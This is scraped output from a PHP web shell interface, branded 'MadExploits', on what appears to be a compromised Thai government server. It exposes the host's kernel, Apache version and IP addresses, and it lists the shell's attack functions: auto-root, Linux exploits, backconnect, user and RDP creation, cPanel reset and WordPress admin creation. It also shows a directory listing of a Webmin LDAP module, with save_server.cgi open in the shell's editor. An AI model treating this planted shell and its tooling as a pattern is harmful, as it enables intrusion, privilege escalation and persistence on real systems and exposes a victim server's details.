Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
ldap-client /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.1
KB
-rw-r--r--
atboot.cgi
483
B
-rwxr-xr-x
browser.cgi
2.29
KB
-rwxr-xr-x
check.cgi
2.93
KB
-rwxr-xr-x
config-ALL-linux
79
B
-rw-r--r--
config-CentOS-Linux-6.0-ALL
66
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
66
B
-rw-r--r--
config-Scientific-Linux-6.0-AL...
66
B
-rw-r--r--
config-debian-linux-3.1
100
B
-rw-r--r--
config-debian-linux-4.0-5.9
65
B
-rw-r--r--
config-debian-linux-6.0-6.9
128
B
-rw-r--r--
config-debian-linux-7.0-ALL
65
B
-rw-r--r--
config-pardus-linux
74
B
-rw-r--r--
config-redhat-linux-13.0-ALL
89
B
-rw-r--r--
config.info
556
B
-rw-r--r--
config.info.ca
717
B
-rw-r--r--
config.info.ca.UTF-8
732
B
-rw-r--r--
config.info.de
597
B
-rw-r--r--
config.info.de.UTF-8
597
B
-rw-r--r--
config.info.nl
473
B
-rw-r--r--
config.info.nl.UTF-8
473
B
-rw-r--r--
config.info.no
532
B
-rw-r--r--
config.info.no.UTF-8
532
B
-rw-r--r--
config.info.pt_BR
691
B
-rw-r--r--
config.info.pt_BR.UTF-8
691
B
-rw-r--r--
cpan_modules.pl
82
B
-rwxr-xr-x
edit_base.cgi
2.47
KB
-rwxr-xr-x
edit_pam.cgi
1.36
KB
-rwxr-xr-x
edit_server.cgi
3.27
KB
-rwxr-xr-x
edit_switch.cgi
1.74
KB
-rwxr-xr-x
fixpam.cgi
364
B
-rwxr-xr-x
index.cgi
2.36
KB
-rwxr-xr-x
install_check.pl
334
B
-rwxr-xr-x
ldap-client-lib.pl
11.53
KB
-rwxr-xr-x
list_switches.cgi
772
B
-rwxr-xr-x
log_parser.pl
461
B
-rwxr-xr-x
module.info
158
B
-rw-r--r--
module.info.ca
97
B
-rw-r--r--
module.info.ca.UTF-8
109
B
-rw-r--r--
module.info.de
103
B
-rw-r--r--
module.info.de.UTF-8
115
B
-rw-r--r--
module.info.ms_MY
109
B
-rw-r--r--
module.info.ms_MY.UTF-8
121
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.UTF-8
26
B
-rw-r--r--
module.info.no
20
B
-rw-r--r--
module.info.no.UTF-8
26
B
-rw-r--r--
module.info.pt_BR
24
B
-rw-r--r--
module.info.pt_BR.UTF-8
30
B
-rw-r--r--
popup_browser.cgi
2.73
KB
-rwxr-xr-x
restart.cgi
329
B
-rwxr-xr-x
save_base.cgi
1.86
KB
-rwxr-xr-x
save_pam.cgi
1.31
KB
-rwxr-xr-x
save_server.cgi
3.53
KB
-rwxr-xr-x
save_switch.cgi
932
B
-rwxr-xr-x
start.cgi
282
B
-rwxr-xr-x
stop.cgi
254
B
-rwxr-xr-x
switch-lib.pl
3.08
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_server.cgi
#!/usr/bin/perl # Save the LDAP server to connect to require './ldap-client-lib.pl'; &error_setup($text{'server_err'}); &ReadParse(); &lock_file(&get_ldap_config_file()); @secrets = split(/\t+/, $config{'secret'}); foreach $secret (@secrets) { &lock_file($secret); } $conf = &get_config(); $uri = &find_svalue("uri", $conf); # Validate and save inputs if ($uri) { # Save uri directive for($i=0; defined($host = $in{'uhost_'.$i}); $i++) { next if (!$host); $port = $in{'uport_'.$i.'_def'} ? undef : $in{'uport_'.$i}; $proto = $in{'uproto_'.$i}; !defined($port) || $port =~ /^\d+$/ && $port > 0 && $port < 65536 || &error(&text('server_euport', $host)); $uri = $proto."://".$host.($port ? ":$port" : ""); $uri .= "/" if ($proto eq "ldap" || $proto eq "ldaps"); push(@uris, $uri); } @uris || &error($text{'server_euri'}); &save_directive($conf, "uri", join(" ", @uris)); } else { # Set host and port directives @hosts = split(/\s+/, $in{'host'}); foreach $h (@hosts) { &to_ipaddress($h) || &to_ip6address($h) || &error(&text('server_ehost', $h)); } @hosts || &error($text{'server_ehosts'}); &save_directive($conf, "host", join(" ", @hosts)); # Save server port if ($in{'port_def'}) { &save_directive($conf, "port", undef); } else { $in{'port'} =~ /^\d+$/ && $in{'port'} > 0 && $in{'port'} < 65536 || &error($text{'server_eport'}); &save_directive($conf, "port", $in{'port'}); } } # Save LDAP protocol version &save_directive($conf, "ldap_version", $in{'version'} || undef); # Save time limit if ($in{'timelimit_def'}) { &save_directive($conf, "bind_timelimit", undef); } else { $in{'timelimit'} =~ /^\d+$/ || &error($text{'server_etimelimit'}); &save_directive($conf, "bind_timelimit", $in{'timelimit'}); } # Save non-root login if ($in{'binddn_def'}) { &save_directive($conf, "binddn", undef); } else { $in{'binddn'} =~ /\S/ || &error($text{'server_ebinddn'}); &save_directive($conf, "binddn", $in{'binddn'}); } # Save non-root password if ($in{'bindpw_def'}) { &save_directive($conf, "bindpw", undef); } else { $in{'bindpw'} =~ /\S/ || &error($text{'server_ebindpw'}); &save_directive($conf, "bindpw", $in{'bindpw'}); } # Save root login my $rootdir = &find_svalue("rootpwmoddn", $conf, 2) ? "rootpwmoddn" : "rootbinddn"; if ($in{'rootbinddn_def'}) { &save_directive($conf, $rootdir, undef); } else { $in{'rootbinddn'} =~ /\S/ || &error($text{'server_erootbinddn'}); &save_directive($conf, $rootdir, $in{'rootbinddn'}); } # Save root password $in{'rootbindpw_def'} || $in{'rootbindpw'} =~ /\S/ || &error($text{'server_erootbindpw'}); if (&find_svalue("rootpwmoddn", $conf), 2) { # New format can put the password in the config file &save_directive($conf, "rootpwmodpw", $in{'rootbindpw_def'} ? undef : $in{'rootbindpw'}); } else { # Old format uses a separate secret file if ($in{'rootbindpw_def'}) { &save_rootbinddn_secret(undef); } else { &save_rootbinddn_secret($in{'rootbindpw'}); } } # SSL mode &save_directive($conf, "ssl", $in{'ssl'} || undef); # Check server SSL cert &save_directive($conf, "tls_checkpeer", $in{'peer'} || undef); # CA cert file for server if ($in{'cacert_def'}) { &save_directive($conf, "tls_cacertfile", undef); } else { $in{'cacert'} =~ /^\// && -r $in{'cacert'} && !-d $in{'cacert'} || &error($text{'server_ecacert'}); &save_directive($conf, "tls_cacertfile", $in{'cacert'}); } # Write out config &flush_file_lines(); &unlock_file(&get_ldap_config_file()); foreach $secret (@secrets) { &unlock_file($secret); } &webmin_log("server"); &redirect("");
Close